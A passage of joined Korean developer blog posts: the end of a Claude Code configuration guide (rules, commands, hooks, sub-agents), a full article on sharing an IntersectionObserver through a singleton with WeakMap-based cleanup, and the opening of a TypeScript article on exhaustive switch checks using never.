### 에디터 연동

Claude Code는 터미널에서 실행되지만 에디터와 함께 사용하면 더 효과적이다.

**추천 설정:**

- 화면 분할: 터미널(Claude Code) + 에디터
- Auto-save 활성화: Claude의 파일 읽기가 항상 최신 상태 반영
- 파일 감시(file watcher): 변경된 파일 자동 리로드 확인
- Git 통합: 에디터의 git 기능으로 Claude 변경사항 리뷰 후 커밋

---

## 14. 흔한 문제와 해결법

### "에이전트가 컨텍스트 부족으로 이상한 답을 해요"

컨텍스트가 부족하면 에이전트가 환각을 일으키거나 엉뚱한 답을 한다.

**해결법:**

- CLAUDE.md에 프로젝트 구조와 주요 파일 위치 명시
- "먼저 X 파일을 읽고 작업해줘"라고 명시적으로 지시
- 복잡한 작업은 Sub-agent로 분리해서 컨텍스트 오염 방지

### "에이전트가 지시사항을 자꾸 무시해요"

CLAUDE.md에 적어도 따르지 않는 경우가 있다.

**해결법:**

- Hooks로 강제 (예: 파일 저장 후 반드시 린팅)
- 지시사항을 더 구체적으로 작성
- "절대 하지 마" 대신 "대신 이렇게 해"로 긍정문 사용

### "토큰 사용량이 너무 많아요"

**해결법:**

- CLAUDE.md 다이어트 (정말 필요한 것만)
- 긴 작업은 Sub-agent로 분리
- `/compact` 명령어로 컨텍스트 압축

---

## 15. 실제 .claude 폴더 구조 예시

실제 프로젝트에서 어떻게 구성하는지 예시를 보자.

```text
your-project/
├── .claude/
│   ├── settings.json           # Hooks 설정
│   ├── commands/
│   │   ├── commit.md           # /project:commit
│   │   ├── review.md           # /project:review
│   │   └── deploy/
│   │       └── staging.md      # /project:deploy:staging
│   ├── agents/
│   │   └── security-reviewer.md
│   └── rules/
│       ├── code-style.md
│       └── testing.md
├── .mcp.json                   # MCP 서버 설정 (프로젝트 공유용)
├── CLAUDE.md                   # 메인 규칙 파일
└── CLAUDE.local.md             # 개인 설정 (.gitignore)
```

**settings.json 예시:**

```json
{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Write|Edit",
        "hooks": [
          {
            "type": "command",
            "command": "npx prettier --write \"$CLAUDE_FILE_PATH\""
          }
        ]
      }
    ]
  }
}
```

---

## 16. 요약

### 개념 정리

코딩 에이전트는 크게 **정적 컨텍스트**, **동적 컨텍스트**, **결정적 실행(Hooks)**로 구성된다.

**📌 정적 컨텍스트 (항상 포함됨)**

- **Rules / CLAUDE.md**: 매 대화에 항상 포함되는 기본 규칙

**⚡ 동적 컨텍스트 (필요할 때만 로드/호출)**

- **Skills**: 특정 작업에서만 로드되는 전문 지식/워크플로우
- **Commands**: 명시적으로 호출하는 명령 모음
- **MCP Servers**: 외부 서비스 연동 (Slack, GitHub, DB 등)
- **Plugins**: 도구/스킬 설치를 쉽게 묶어 제공
- **Sub-agents**: 전문 작업을 위임하는 하위 에이전트
- **Modes**: 작업별 최적화된 동작 모드 (지시사항+UI+시스템 프롬프트)

**🔧 Hooks (결정적 실행)**

- **Hooks**: 도구 실행 전/후, 세션 시작/종료 등 자동화 트리거

### 언제 무엇을 사용할까?

| 상황                                                   | 사용할 것             |
| ------------------------------------------------------ | --------------------- |
| 프로젝트 구조, 코딩 규칙을 알려주고 싶다               | **Rules** (CLAUDE.md) |
| 반복되는 워크플로우를 단축키로 만들고 싶다             | **Commands**          |
| Slack, GitHub, DB 등 외부 서비스에 연결하고 싶다       | **MCP Servers**       |
| MCP나 스킬을 쉽게 설치하고 싶다                        | **Plugins**           |
| 특정 작업을 별도 컨텍스트에서 전문적으로 처리하고 싶다 | **Sub-agents**        |
| 파일 수정 후 항상 포맷팅을 실행하고 싶다               | **Hooks**             |
| 복잡한 도메인 지식 + 스크립트를 패키징하고 싶다        | **Skills**            |

### 팁

1. **Rules는 짧게**: 50개 이하의 핵심 지시사항만
2. **에이전트가 실수하면 Rules에 추가**: 살아있는 문서로 관리
3. **Commands는 단순하게**: 복잡한 오케스트레이션은 Skills로
4. **MCP는 OAuth가 필요할 때만**: 그 외에는 Skills 사용
5. **Hooks로 일관성 확보**: 린팅, 포맷팅, 테스트 자동화
6. **Skills 먼저 읽기**: 작업 시작 전 관련 SKILL.md 확인

## 참고 자료

- [Claude Code 문서](https://docs.anthropic.com/en/docs/claude-code)
- [Anthropic Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices)
- [MCP 공식](https://modelcontextprotocol.io)
- [Agent Skills 공식](https://agentskills.io)
- [awesome-claude-code](https://github.com/hesreallyhim/awesome-claude-code)

---

Source: https://yceffort.kr/2026/01/intersection-observer-singleton-weakmap.md
Title: IntersectionObserver 싱글톤 패턴과 WeakMap으로 메모리 누수 방지하기
Description: 수백 개의 요소를 효율적으로 관찰하면서 메모리 누수도 방지하는 방법
Date: 2026-01-17
Tags: javascript, frontend, web-performance

## Table of Contents

## 서론

무한 스크롤, 지연 로딩, 광고 뷰어빌리티 측정 등에서 IntersectionObserver는 필수적인 API다. 그런데 컴포넌트마다 별도의 observer를 생성하면 어떻게 될까?

100개의 아이템이 있는 리스트에서 각 아이템이 자체 observer를 생성한다면, 100개의 IntersectionObserver 인스턴스가 만들어진다. 이는 메모리 낭비일 뿐 아니라, 각 observer가 별도로 교차 계산을 수행하므로 성능에도 영향을 준다.

이 글에서는 싱글톤 패턴으로 observer를 공유하고, WeakMap을 활용해 메모리 누수를 방지하는 방법을 살펴본다.

## IntersectionObserver가 scroll 이벤트보다 효율적인 이유

IntersectionObserver 이전에는 요소의 가시성을 확인하려면 scroll 이벤트를 사용했다.

```typescript
window.addEventListener('scroll', () => {
  const rect = element.getBoundingClientRect()
  const isVisible = rect.top < window.innerHeight && rect.bottom > 0

  if (isVisible) {
    loadImage()
  }
})
```

이 방식은 몇 가지 심각한 문제가 있다.

### 메인 스레드 블로킹

scroll 이벤트 핸들러는 **메인 스레드에서 동기적으로** 실행된다. 스크롤할 때마다 핸들러가 호출되고, 그 안에서 `getBoundingClientRect()`를 호출하면 브라우저에게 **레이아웃 재계산(reflow)** 을 강제한다.

```typescript
// 스크롤 중에 100개 요소 검사 → 100번의 reflow 유발 가능
elements.forEach((el) => {
  const rect = el.getBoundingClientRect() // reflow!
  // ...
})
```

reflow는 비용이 큰 연산이다. 브라우저가 요소의 정확한 위치를 계산하려면 DOM 트리를 순회하고 스타일을 적용해야 한다. 스크롤 중에 이런 연산이 반복되면 프레임 드롭과 버벅거림이 발생한다.

### IntersectionObserver의 동작 방식

IntersectionObserver는 완전히 다르게 동작한다.

1. **비동기 처리**: 교차 계산이 메인 스레드를 블로킹하지 않는다. 브라우저가 내부적으로 렌더링 파이프라인과 통합하여 처리한다.

2. **배치 처리**: 여러 요소의 교차 상태를 한 번에 계산하고, 변경된 요소들만 모아서 콜백을 호출한다.

3. **Idle 시간 활용**: 브라우저가 여유로울 때 계산을 수행한다. 스크롤 중에 매 프레임마다 검사하지 않는다.

4. **하드웨어 가속 활용**: 일부 브라우저는 GPU 컴포지터 레벨에서 교차를 감지한다.

특히 중요한 건, **하나의 observer가 여러 요소를 관찰할 때** 브라우저가 이를 최적화할 수 있다는 점이다. 개별 observer를 100개 만드는 것보다 하나의 observer로 100개 요소를 관찰하는 게 훨씬 효율적이다.

## rootMargin과 threshold 활용하기

IntersectionObserver의 옵션을 잘 활용하면 다양한 UX를 구현할 수 있다.

### rootMargin: 뷰포트 확장/축소

`rootMargin`은 root 요소의 경계를 확장하거나 축소한다. CSS margin과 같은 형식으로 지정한다.

```typescript
// 뷰포트 밖 200px 지점에서 미리 감지
const observer = new IntersectionObserver(callback, {
  rootMargin: '200px 0px',
})
```

참고로 이미지 레이지 로딩은 네이티브 `loading="lazy"` 속성을 사용하는 게 더 간단하다.

```html
<img src="image.jpg" loading="lazy" />
```

IntersectionObserver가 더 유용한 케이스는 **무한 스크롤**이나 **데이터 프리페칭**이다. 스크롤이 끝에 가까워지면 미리 다음 페이지를 로드해둘 수 있다.

```typescript
const prefetchObserver = new IntersectionObserver(
  (entries) => {
    entries.forEach((entry) => {
      if (entry.isIntersecting) {
        prefetchNextPage() // 다음 페이지 데이터 미리 로드
      }
    })
  },
  {rootMargin: '500px 0px'}, // 끝에서 500px 전에 미리 감지
)

// 리스트 마지막 요소를 관찰
prefetchObserver.observe(lastItemElement)
```

음수 값으로 뷰포트를 축소할 수도 있다. 요소가 **뷰포트 중앙에 왔을 때만** 감지하고 싶다면:

```typescript
// 뷰포트 상하 각 25%를 제외하고 중앙 50% 영역에서만 감지
const observer = new IntersectionObserver(callback, {
  rootMargin: '-25% 0px',
})
```

### threshold: 가시성 비율 기준

`threshold`는 콜백이 실행될 가시성 비율을 지정한다. 기본값은 0으로, 1픽셀이라도 보이면 콜백이 실행된다.

```typescript
// 요소의 50%가 보일 때 콜백 실행
const observer = new IntersectionObserver(callback, {
  threshold: 0.5,
})

// 요소가 완전히 보일 때 콜백 실행
const observer = new IntersectionObserver(callback, {
  threshold: 1.0,
})
```

**배열로 여러 threshold를 지정**하면, 각 비율에 도달할 때마다 콜백이 실행된다. 스크롤 진행률을 추적할 때 유용하다.

```typescript
// 10% 단위로 콜백 실행
const observer = new IntersectionObserver(
  (entries) => {
    entries.forEach((entry) => {
      const progress = Math.round(entry.intersectionRatio * 100)
      updateProgressBar(progress)
    })
  },
  {threshold: [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]},
)
```

**광고 뷰어빌리티 측정**에서는 보통 50% 이상 노출되어야 "조회됨"으로 인정한다.

```typescript
const adObserver = new IntersectionObserver(
  (entries) => {
    entries.forEach((entry) => {
      if (entry.intersectionRatio >= 0.5) {
        trackAdImpression(entry.target.dataset.adId)
        adObserver.unobserve(entry.target)
      }
    })
  },
  {threshold: 0.5},
)
```

## 문제 상황

일반적인 IntersectionObserver 사용 패턴을 보자.

```typescript
function LazyImage({ src }: { src: string }) {
  const ref = useRef<HTMLImageElement>(null)
  const [isVisible, setIsVisible] = useState(false)

  useEffect(() => {
    const observer = new IntersectionObserver(([entry]) => {
      if (entry.isIntersecting) {
        setIsVisible(true)
        observer.disconnect()
      }
    })

    if (ref.current) {
      observer.observe(ref.current)
    }

    return () => observer.disconnect()
  }, [])

  return <img ref={ref} src={isVisible ? src : placeholder} />
}
```

이 코드는 동작하지만, 컴포넌트 인스턴스마다 새로운 observer를 생성한다. 100개의 이미지가 있다면 100개의 observer가 생성된다.

### IntersectionObserver는 왜 하나로 충분한가?

IntersectionObserver는 여러 요소를 동시에 관찰할 수 있도록 설계되었다. 하나의 observer로 `observe()` 메서드를 여러 번 호출하면 된다.

```typescript
const observer = new IntersectionObserver(callback)

observer.observe(element1)
observer.observe(element2)
observer.observe(element3)
// 하나의 observer로 여러 요소 관찰
```

브라우저는 내부적으로 이 요소들을 묶어서 효율적으로 교차 계산을 수행한다. 따라서 동일한 옵션(root, rootMargin, threshold)을 사용하는 경우, observer를 공유하는 것이 훨씬 효율적이다.

## 싱글톤 패턴으로 Observer 공유하기

### 기본 구조

먼저 여러 요소를 관리하는 VisibilityObserver 클래스를 만들어보자.

```typescript
type VisibilityCallback = (isVisible: boolean) => void

interface ObservedEntry {
  element: Element
  callback: VisibilityCallback
  previousVisibility: boolean | undefined
}

class VisibilityObserver {
  private observer: IntersectionObserver
  private entries = new Map<string, ObservedEntry>()
  private entriesByElement = new Map<Element, ObservedEntry>()

  constructor(options: IntersectionObserverInit = {}) {
    this.observer = new IntersectionObserver((entries) => {
      for (const entry of entries) {
        const observed = this.entriesByElement.get(entry.target)
        if (observed && observed.previousVisibility !== entry.isIntersecting) {
          observed.previousVisibility = entry.isIntersecting
          observed.callback(entry.isIntersecting)
        }
      }
    }, options)
  }

  observe(key: string, element: Element, callback: VisibilityCallback): void {
    if (this.entries.has(key)) {
      this.unobserve(key)
    }

    const entry: ObservedEntry = {
      element,
      callback,
      previousVisibility: undefined,
    }

    this.entries.set(key, entry)
    this.entriesByElement.set(element, entry)
    this.observer.observe(element)
  }

  unobserve(key: string): void {
    const entry = this.entries.get(key)
    if (entry) {
      this.observer.unobserve(entry.element)
      this.entriesByElement.delete(entry.element)
      this.entries.delete(key)
    }
  }

  disconnect(): void {
    this.observer.disconnect()
    this.entries.clear()
    this.entriesByElement.clear()
  }
}
```

주목할 점이 몇 가지 있다.

### 두 개의 Map을 사용하는 이유

`entries`와 `entriesByElement`, 두 개의 Map을 유지하는 이유가 뭘까?

```typescript
private entries = new Map<string, ObservedEntry>()        // key → entry
private entriesByElement = new Map<Element, ObservedEntry>()  // element → entry
```

IntersectionObserver 콜백은 `IntersectionObserverEntry` 배열을 전달하는데, 여기서 얻을 수 있는 것은 `entry.target` (Element)뿐이다. 우리가 등록한 key나 callback을 알 수 없다.

```typescript
new IntersectionObserver((entries) => {
  for (const entry of entries) {
    console.log(entry.target) // Element만 알 수 있음
    // entry.key?  → 없음
    // entry.callback?  → 없음
  }
})
```

그래서 Element로 원래 등록 정보를 찾을 수 있는 **역방향 조회용 Map**이 필요하다. `entriesByElement.get(entry.target)`으로 해당 요소의 콜백을 찾아 호출한다.

그렇다면 `entries` Map은 왜 필요한가? `unobserve(key)`를 위해서다. 사용자는 key로 관찰을 해제하는데, key로 element를 찾아야 `observer.unobserve(element)`를 호출할 수 있다.

```typescript
unobserve(key: string): void {
  const entry = this.entries.get(key)  // key → entry
  if (entry) {
    this.observer.unobserve(entry.element)  // entry에서 element 추출
    this.entriesByElement.delete(entry.element)
    this.entries.delete(key)
  }
}
```

정리하면:

- `entries`: key로 element를 찾을 때 (unobserve)
- `entriesByElement`: element로 callback을 찾을 때 (IntersectionObserver 콜백)

### previousVisibility를 추적하는 이유

IntersectionObserver는 생각보다 콜백을 자주 호출한다. 특히 threshold가 0일 때, 요소가 1픽셀이라도 움직이면 콜백이 호출될 수 있다. 스크롤할 때마다 수십 번 호출되는 건 드문 일이 아니다.

```typescript
// 문제: 같은 상태로 여러 번 호출될 수 있음
new IntersectionObserver((entries) => {
  for (const entry of entries) {
    // isIntersecting이 true인 상태로 여러 번 호출됨
    if (entry.isIntersecting) {
      loadImage() // 중복 호출!
    }
  }
})
```

`previousVisibility`를 저장해두면, **실제로 상태가 변경된 경우에만** 콜백을 호출할 수 있다.

```typescript
if (observed.previousVisibility !== entry.isIntersecting) {
  observed.previousVisibility = entry.isIntersecting
  observed.callback(entry.isIntersecting) // 변경된 경우에만 호출
}
```

이렇게 하면 `visible → visible` 중복 호출을 방지하고, `visible → hidden` 또는 `hidden → visible` 전환 시에만 콜백이 실행된다.

### key 기반 관리의 장점

왜 element 대신 문자열 key로 요소를 식별할까? React의 특성 때문이다.

React에서 컴포넌트가 리렌더링되면 ref가 새로운 DOM 요소를 가리킬 수 있다. 특히 조건부 렌더링이나 리스트에서 이런 일이 자주 발생한다.

```tsx
function Item({id}: {id: string}) {
  const ref = useRef<HTMLDivElement>(null)

  useEffect(() => {
    // 리렌더링될 때마다 ref.current가 바뀔 수 있음
    observer.observe(id, ref.current, callback)
    return () => observer.unobserve(id)
  }, [id]) // id는 그대로, element만 바뀜

  return <div ref={ref}>...</div>
}
```

element를 직접 식별자로 사용하면, 같은 논리적 아이템인데도 element가 바뀔 때마다 새로운 관찰로 취급된다. key를 사용하면 "같은 아이템"임을 인식하고 기존 관찰을 새 element로 교체할 수 있다.

```typescript
observe(key: string, element: Element, callback: VisibilityCallback): void {
  if (this.entries.has(key)) {
    this.unobserve(key)  // 기존 관찰 해제
  }
  // 새 element로 다시 등록
  // ...
}
```

### 싱글톤으로 만들기

```typescript
let sharedObserver: VisibilityObserver | undefined

export const getSharedVisibilityObserver = (
  options?: IntersectionObserverInit,
): VisibilityObserver => {
  if (!sharedObserver) {
    sharedObserver = new VisibilityObserver(options)
  }
  return sharedObserver
}
```

이제 애플리케이션 전체에서 하나의 observer를 공유할 수 있다.

```typescript
function LazyImage({ id, src }: { id: string; src: string }) {
  const ref = useRef<HTMLImageElement>(null)
  const [isVisible, setIsVisible] = useState(false)

  useEffect(() => {
    const observer = getSharedVisibilityObserver({ rootMargin: '100px' })

    if (ref.current) {
      observer.observe(id, ref.current, (visible) => {
        if (visible) setIsVisible(true)
      })
    }

    return () => observer.unobserve(id)
  }, [id])

  return <img ref={ref} src={isVisible ? src : placeholder} />
}
```

## WeakMap으로 root별 observer 관리하기

여기서 한 가지 문제가 있다. IntersectionObserver는 `root` 옵션에 따라 동작이 달라진다. viewport를 기준으로 하는 observer와 특정 스크롤 컨테이너를 기준으로 하는 observer는 별개여야 한다.

```typescript
// viewport 기준
const viewportObserver = new IntersectionObserver(callback, {root: null})

// 스크롤 컨테이너 기준
const containerObserver = new IntersectionObserver(callback, {
  root: scrollContainer,
})
```

root별로 observer를 관리해야 한다면, 어떻게 해야 할까?

### Map을 사용하면 생기는 문제

```typescript
const observersByRoot = new Map<Element, VisibilityObserver>()

export const getSharedVisibilityObserver = (options?: {
  root?: Element
}): VisibilityObserver => {
  const root = options?.root

  if (!root) {
    // viewport 기준은 전역 싱글톤
    if (!viewportObserver) {
      viewportObserver = new VisibilityObserver(options)
    }
    return viewportObserver
  }

  // root별 싱글톤
  let observer = observersByRoot.get(root)
  if (!observer) {
    observer = new VisibilityObserver(options)
    observersByRoot.set(root, observer)
  }
  return observer
}
```

이 코드의 문제는 **메모리 누수**다.

스크롤 컨테이너 컴포넌트가 언마운트되어 DOM에서 제거되었다고 가정해보자. 해당 Element는 더 이상 필요 없지만, `observersByRoot` Map이 참조를 유지하고 있어서 가비지 컬렉션되지 않는다. observer 인스턴스도 함께 메모리에 남아있게 된다.

SPA에서 페이지를 이동할 때마다 새로운 스크롤 컨테이너가 생성되고, 이전 컨테이너들은 Map에 계속 쌓인다. 시간이 지나면 상당한 메모리 누수가 발생할 수 있다.

### WeakMap으로 해결하기

WeakMap은 **키에 대한 약한 참조(weak reference)** 를 유지한다. 키로 사용된 객체가 다른 곳에서 참조되지 않으면, 가비지 컬렉터가 해당 키-값 쌍을 자동으로 제거한다.

```typescript
let viewportObserver: VisibilityObserver | undefined
const observersByRoot = new WeakMap<Element, VisibilityObserver>()

export const getSharedVisibilityObserver = (options?: {
  root?: Element
}): VisibilityObserver => {
  const root = options?.root

  if (!root) {
    if (!viewportObserver) {
      viewportObserver = new VisibilityObserver(options)
    }
    return viewportObserver
  }

  let observer = observersByRoot.get(root)
  if (!observer) {
    observer = new VisibilityObserver(options)
    observersByRoot.set(root, observer)
  }
  return observer
}
```

이제 스크롤 컨테이너가 DOM에서 제거되면:

1. Element에 대한 참조가 사라진다.
2. WeakMap이 해당 Element를 키로 가진 엔트리를 자동으로 정리한다.
3. VisibilityObserver 인스턴스도 함께 가비지 컬렉션된다.

메모리 누수 걱정 없이 동적으로 생성되는 스크롤 컨테이너를 처리할 수 있다.

## WeakMap 깊이 이해하기

### 약한 참조(Weak Reference)란?

JavaScript에서 객체를 변수에 할당하면 **강한 참조(strong reference)** 가 생성된다. 가비지 컬렉터는 강한 참조가 하나라도 남아있으면 해당 객체를 메모리에서 해제하지 않는다.

```typescript
let obj = {name: 'test'} // 강한 참조 생성
const map = new Map()
map.set(obj, 'some data') // Map도 obj에 대한 강한 참조를 가짐

obj = null // 변수의 참조는 끊었지만...
// Map이 여전히 참조를 유지하므로 객체는 GC되지 않음
```

**약한 참조(weak reference)** 는 가비지 컬렉터가 참조 카운트에 포함시키지 않는 참조다. 약한 참조만 남아있다면 객체는 GC 대상이 된다.

```typescript
let obj = {name: 'test'}
const weakMap = new WeakMap()
weakMap.set(obj, 'some data') // WeakMap은 약한 참조

obj = null // 유일한 강한 참조가 사라짐
// WeakMap의 참조는 약한 참조이므로 객체가 GC됨
// WeakMap의 해당 엔트리도 자동으로 제거됨
```

### 왜 WeakMap은 순회할 수 없는가?

WeakMap에는 `keys()`, `values()`, `entries()`, `forEach()` 메서드가 없고, `size` 속성도 없다. 이는 설계상의 의도적인 제약이다.

가비지 컬렉션은 **비결정적(non-deterministic)** 이다. 언제 실행될지, 어떤 객체가 수거될지 정확히 예측할 수 없다. 만약 WeakMap을 순회할 수 있다면 이런 문제가 발생한다.

```typescript
// 가상의 코드 (실제로는 불가능)
for (const [key, value] of weakMap) {
  // 순회 도중 GC가 실행되면?
  // 아직 방문하지 않은 엔트리가 갑자기 사라질 수 있음
  console.log(key, value)
}

console.log(weakMap.size) // 호출할 때마다 다른 값?
```

순회 결과가 GC 타이밍에 따라 달라진다면, 코드의 동작을 예측할 수 없게 된다. 이런 비결정성을 방지하기 위해 WeakMap은 순회 기능을 아예 제공하지 않는다.

### Map vs WeakMap 비교

| 특성      | Map                       | WeakMap                   |
| --------- | ------------------------- | ------------------------- |
| 키 타입   | 모든 값                   | 객체만 가능               |
| 키 참조   | 강한 참조                 | 약한 참조                 |
| GC 대상   | 명시적 삭제 필요          | 키가 GC되면 자동 삭제     |
| 순회 가능 | O (for...of, forEach)     | X                         |
| size 속성 | O                         | X                         |
| 사용 시점 | 키의 생명주기를 직접 관리 | 키 객체의 생명주기에 맞춤 |

### WeakMap의 다른 활용 사례

#### 1. 프라이빗 데이터 저장

ES2022 이전에는 클래스의 private 필드가 없었다. WeakMap으로 외부에서 접근할 수 없는 프라이빗 데이터를 구현할 수 있었다.

```typescript
const privateData = new WeakMap<object, {password: string}>()

class User {
  constructor(name: string, password: string) {
    this.name = name
    privateData.set(this, {password})
  }

  name: string

  checkPassword(input: string): boolean {
    return privateData.get(this)?.password === input
  }
}

const user = new User('kim', 'secret123')
console.log(user.name) // 'kim' (접근 가능)
console.log(privateData.get(user)) // 모듈 외부에서는 접근 불가
```

User 인스턴스가 GC되면 WeakMap의 비밀번호 데이터도 자동으로 정리된다.

#### 2. 캐싱/메모이제이션

객체를 키로 하는 캐시에서 WeakMap을 사용하면, 원본 객체가 필요 없어졌을 때 캐시도 자동으로 정리된다.

```typescript
const cache = new WeakMap<object, string>()

function expensiveOperation(obj: object): string {
  if (cache.has(obj)) {
    return cache.get(obj)!
  }

  const result = JSON.stringify(obj) // 비용이 큰 연산이라 가정
  cache.set(obj, result)
  return result
}

let data = {a: 1, b: 2}
expensiveOperation(data) // 계산 후 캐시
expensiveOperation(data) // 캐시에서 반환

data = null // 원본 객체 참조 해제
// 캐시 엔트리도 자동으로 GC됨 (명시적 삭제 불필요)
```

#### 3. DOM 노드에 메타데이터 연결

```typescript
const nodeData = new WeakMap<Element, {clickCount: number}>()

function trackClicks(element: Element) {
  element.addEventListener('click', () => {
    const data = nodeData.get(element) ?? {clickCount: 0}
    data.clickCount++
    nodeData.set(element, data)
  })
}

// DOM에서 요소가 제거되면 메타데이터도 자동 정리
```

### WeakSet, WeakRef, FinalizationRegistry

JavaScript는 WeakMap 외에도 약한 참조 관련 API를 제공한다.

#### WeakSet

WeakMap의 Set 버전이다. 값 없이 객체의 존재 여부만 추적할 때 사용한다.

```typescript
const visited = new WeakSet<Element>()

function markAsVisited(element: Element) {
  visited.add(element)
}

function hasVisited(element: Element): boolean {
  return visited.has(element)
}
```

#### WeakRef (ES2021)

객체에 대한 약한 참조를 직접 생성한다. `deref()` 메서드로 원본 객체에 접근하거나, GC되었으면 `undefined`를 반환한다.

```typescript
let obj = {data: 'important'}
const weakRef = new WeakRef(obj)

console.log(weakRef.deref()) // { data: 'important' }

obj = null
// GC 실행 후...
console.log(weakRef.deref()) // undefined (GC되었으면)
```

#### FinalizationRegistry (ES2021)

객체가 GC될 때 콜백을 실행한다. 정리 작업이 필요할 때 유용하다.

```typescript
const registry = new FinalizationRegistry((heldValue: string) => {
  console.log(`${heldValue} 객체가 GC되었습니다`)
  // 외부 리소스 정리 등
})

let obj = {name: 'test'}
registry.register(obj, 'test 객체')

obj = null
// GC 실행 시 "test 객체 객체가 GC되었습니다" 출력
```

단, FinalizationRegistry는 GC 타이밍에 의존하므로 콜백 실행이 보장되지 않는다. 중요한 정리 작업에는 의존하지 않는 것이 좋다.

## 실제 사용 예시

### 커스텀 훅으로 래핑

```typescript
interface UseVisibilityOptions {
  root?: Element | null
  rootMargin?: string
  threshold?: number
  onVisible?: () => void
  onHidden?: () => void
}

function useVisibility(
  key: string,
  options: UseVisibilityOptions = {},
): [RefObject<HTMLElement>, boolean] {
  const {root, rootMargin, threshold, onVisible, onHidden} = options
  const ref = useRef<HTMLElement>(null)
  const [isVisible, setIsVisible] = useState(false)

  useEffect(() => {
    const element = ref.current
    if (!element) return

    const observer = getSharedVisibilityObserver({
      root: root ?? undefined,
      rootMargin,
      threshold,
    })

    observer.observe(key, element, (visible) => {
      setIsVisible(visible)
      if (visible) {
        onVisible?.()
      } else {
        onHidden?.()
      }
    })

    return () => observer.unobserve(key)
  }, [key, root, rootMargin, threshold, onVisible, onHidden])

  return [ref, isVisible]
}
```

### 실시간 데이터 구독과 결합

화면에 보이는 요소만 WebSocket 구독을 하고 싶다면:

```typescript
function StockPrice({symbol}: {symbol: string}) {
  const [ref, isVisible] = useVisibility(`stock-${symbol}`)

  useEffect(() => {
    if (isVisible) {
      subscribeToPrice(symbol)
    } else {
      unsubscribeFromPrice(symbol)
    }

    return () => unsubscribeFromPrice(symbol)
  }, [symbol, isVisible])

  // ...
}
```

100개의 종목이 있어도, 화면에 보이는 10개만 실시간 데이터를 받는다. 스크롤하면 보이는 종목이 바뀌고, 구독도 자동으로 전환된다.

## 주의사항

### rootMargin이 다르면 별도 observer 필요

현재 구현은 같은 root에 대해 하나의 observer만 생성한다. rootMargin이나 threshold가 다른 경우를 처리하려면 옵션을 포함한 키를 만들어야 한다.

```typescript
const getObserverKey = (options: IntersectionObserverInit) => {
  return `${options.rootMargin ?? '0px'}-${options.threshold ?? 0}`
}

// root별, 옵션별로 observer 관리
const observersByRootAndOptions = new WeakMap<
  Element,
  Map<string, VisibilityObserver>
>()
```

실제로는 대부분의 경우 동일한 rootMargin을 사용하므로, 필요한 경우에만 확장하면 된다.

### SSR 환경 고려

서버 사이드 렌더링에서는 IntersectionObserver가 존재하지 않는다. 조건부로 생성해야 한다.

```typescript
class VisibilityObserver {
  private observer: IntersectionObserver | null = null

  constructor(options: IntersectionObserverInit = {}) {
    if (typeof IntersectionObserver !== 'undefined') {
      this.observer = new IntersectionObserver(/* ... */)
    }
  }

  observe(key: string, element: Element, callback: VisibilityCallback): void {
    if (!this.observer) {
      // SSR에서는 항상 visible로 처리하거나, 아무것도 하지 않음
      callback(true)
      return
    }
    // ...
  }
}
```

## 마치며

IntersectionObserver 싱글톤 패턴과 WeakMap의 조합은 다음 이점을 제공한다.

1. **메모리 효율**: 수백 개의 요소를 하나의 observer로 관찰
2. **자동 정리**: DOM 요소가 제거되면 관련 observer도 자동으로 GC
3. **유연한 확장**: root별로 독립적인 observer 관리

WeakMap은 "객체의 생명주기에 맞춰 데이터를 관리하고 싶을 때" 유용한 도구다. DOM 요소, 컴포넌트 인스턴스, 캐시 등 객체와 연결된 메타데이터를 저장할 때 활용해보자.

## 참고

- [MDN: IntersectionObserver](https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver)
- [MDN: WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)

---

Source: https://yceffort.kr/2026/01/typescript-exhaustive-check.md
Title: TypeScript에서 switch문의 모든 케이스를 빠짐없이 처리했는지 검사하는 방법
Description: never 타입을 활용한 exhaustive check 패턴
Date: 2026-01-17
Tags: typescript

## Table of Contents

## 서론

유니온 타입을 다룰 때, 모든 케이스를 빠짐없이 처리했는지 확인하고 싶을 때가 있다. 특히 switch문에서 새로운 케이스가 추가됐을 때, 해당 케이스를 처리하는 코드를 깜빡하고 작성하지 않으면 런타임에 예상치 못한 동작이 발생할 수 있다.

TypeScript의 `never` 타입을 활용하면 이런 실수를 컴파일 타임에 잡아낼 수 있다. 이 글에서는 exhaustive check 패턴이 무엇인지, 그리고 어떻게 활용하는지 살펴본다.

## 문제 상황

결제 수단을 처리하는 함수를 만든다고 가정해보자.

```typescript
type PaymentMethod = 'card' | 'bank'

function processPayment(method: PaymentMethod) {
  switch (method) {
    case 'card':
      console.log('카드 결제 처리')
      break
    case 'bank':
      console.log('계좌이체 처리')
      break
  }
}
```

여기까지는 문제가 없다. 그런데 시간이 지나 암호화폐 결제를 추가해야 한다면?

```typescript
type PaymentMethod = 'card' | 'bank' | 'crypto'
```

타입에는 `crypto`를 추가했지만, `processPayment` 함수는 수정하지 않았다. TypeScript는 아무런 에러도 내지 않는다. 왜냐하면 switch문에 default가 없어도 문법적으로 유효하기 때문이다.

```typescript
processPayment('crypto') // 아무것도 출력되지 않음
```

런타임에 `crypto`로 결제를 시도하면, switch문은 아무 케이스에도 매칭되지 않고 그냥 지나가버린다. 이런 버그는 테스트에서도 놓치기 쉽고, 프로덕션에서 발견되면 큰 문제가 될 수 있다.

## never 타입이란?

exhaustive check를 이해하려면 먼저 `never` 타입을 알아야 한다.

`never`는 TypeScript에서 **절대 발생할 수 없는 타입**을 의미한다. 수학에서 공집합(∅)과 같은 개념이다. 어떤 값도 `never` 타입에 할당할 수 없다.

```typescript
let value: never

value = 1 // ❌ 에러: Type 'number' is not assignable to type 'never'
value = 'hello' // ❌ 에러: Type 'string' is not assignable to type 'never'
value = null // ❌ 에러: Type 'null' is not assignable to type 'never'
```

`never`는 보통 다음과 같은 상황에서 나타난다.

```typescript
// 절대 반환하지 않는 함수
function throwError(message: string): never {
  throw new Error(message)
}

// 무한 루프
function infiniteLoop(): never {
  while (true) {}
}
```

## Control Flow Analysis

TypeScript의 강력한 기능 중 하나는 제어 흐름 분석(Control Flow Analysis)이다. 코드의 분기를 따라가면서 변수의 타입을 좁혀나간다.

```typescript
type PaymentMethod = 'card' | 'bank' | 'crypto'

function process(method: PaymentMethod) {
  if (method === 'card') {
    // 여기서 method의 타입은 'card'
  } else if (method === 'bank') {
    // 여기서 method의 타입은 'bank'
  } else {
    // 여기서 method의 타입은 'crypto'
  }
